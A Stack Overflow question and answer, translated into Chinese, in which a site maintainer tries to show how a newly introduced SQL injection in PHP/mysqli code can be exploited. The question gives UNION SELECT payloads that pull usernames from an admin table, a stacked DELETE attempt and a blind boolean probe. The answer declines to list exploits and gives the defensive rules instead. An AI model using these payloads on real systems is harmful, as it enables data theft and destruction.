MySQL注入SQL(一个有趣的挑战)

Cra*_*cis 6 php mysql sql sql-injection

一位开发人员刚刚在我维护的网站上引入了一个SQL注入漏洞,我想展示它是如何被轻易利用的; 但有几个问题.

采用SQL,大致是:

SELECT
    c.id,
    c.name,
    c.start
FROM
    course AS c
WHERE
    MONTH(c.start) = $_GET['month']
ORDER BY
    c.start
Run Code Online (Sandbox Code Playgroud)

如果我设置$_GET['month']为:

13 UNION SELECT 1, username, 3 FROM admin
Run Code Online (Sandbox Code Playgroud)

这将运行查询:

SELECT
    c.id,
    c.name,
    c.start
FROM
    course AS c
WHERE
    MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin
ORDER BY
    c.start
Run Code Online (Sandbox Code Playgroud)

如果ORDER BY不包含c.表别名,那么哪个会起作用.相反,它会导致错误:

Table 'c' from one of the SELECTs cannot be used in field list
Run Code Online (Sandbox Code Playgroud)

别号

添加cALIAS admin也没有任何区别:

13 UNION SELECT 1, c.username, 3 FROM admin AS c
Run Code Online (Sandbox Code Playgroud)

评论

我曾尝试使用--注释掉ORDER BY,但这不起作用,因为它在一个新行上:

13 UNION SELECT 1, c.username, 3 FROM admin AS c --
Run Code Online (Sandbox Code Playgroud)

同样/*也行不通,因为我无法添加最终版*/:

13 UNION SELECT 1, c.username, 3 FROM admin AS c /*
Run Code Online (Sandbox Code Playgroud)

拆分查询

它似乎mysqli_prepare()也不喜欢;查询中的任何地方 - 所以DROP,DELETE或TRUNCATE会导致SQL语法错误:

13; DELETE FROM admin;
Run Code Online (Sandbox Code Playgroud)

一个办法

目前我唯一能想到的就是添加WHERE子句,因此攻击者可以获得是/否响应(某些记录或没有记录),如下所示 - 但这比看到记录显示的要少得多屏幕:-)

SELECT
    c.id,
    c.name,
    c.start_estimate
FROM
    thr_course_term AS c
WHERE
    MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%")
ORDER BY
    c.start_estimate;
Run Code Online (Sandbox Code Playgroud)

源代码

SQL正在PHP中运行mysqli,粗略的代码是:

<?php

$month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month']

$sql = 'SELECT
            c.id,
            c.name,
            c.start
        FROM
            course AS c
        WHERE
            MONTH(c.start) = ' . $month . '
        ORDER BY
            c.start';

$link = mysqli_connect('localhost', 'username', 'password', 'database');

$statement = mysqli_prepare($link, $sql);

if (!$statement) {

    echo $link->error;

} else {

    // Skip the bind_param bit

    $result = $statement->execute();
    $result = $statement->get_result();

    while ($row = mysqli_fetch_assoc($result)) {
        print_r($row);
    }

}

?>
Run Code Online (Sandbox Code Playgroud)

You*_*nse 3

实际上演示任何利用技术都是没有意义的。

一方面,可能的漏洞利用的数量是无限的。您可以用示例淹没整个 Stack Overflow。然而,它们都不会增加任何保护技术。你看,保护规则简短而明确。记住数百种可能的漏洞来保护您的网站是没有意义的。您所需要的只是学习一些规则:

  1. 所有数据文字都应通过占位符添加。
  2. 所有其他查询部分都必须列入白名单。

就这样。

另一方面,为了证明这种危险,老鲍比·泰布尔斯的例子就足够了。如果这个还不能说服您,我怀疑任何其他漏洞利用示例都可以。

  • 将其视为一个挑战,您是否可以注入或滥用上述 SQL 查询,*即使它没有使用推荐的最佳实践*? (3认同)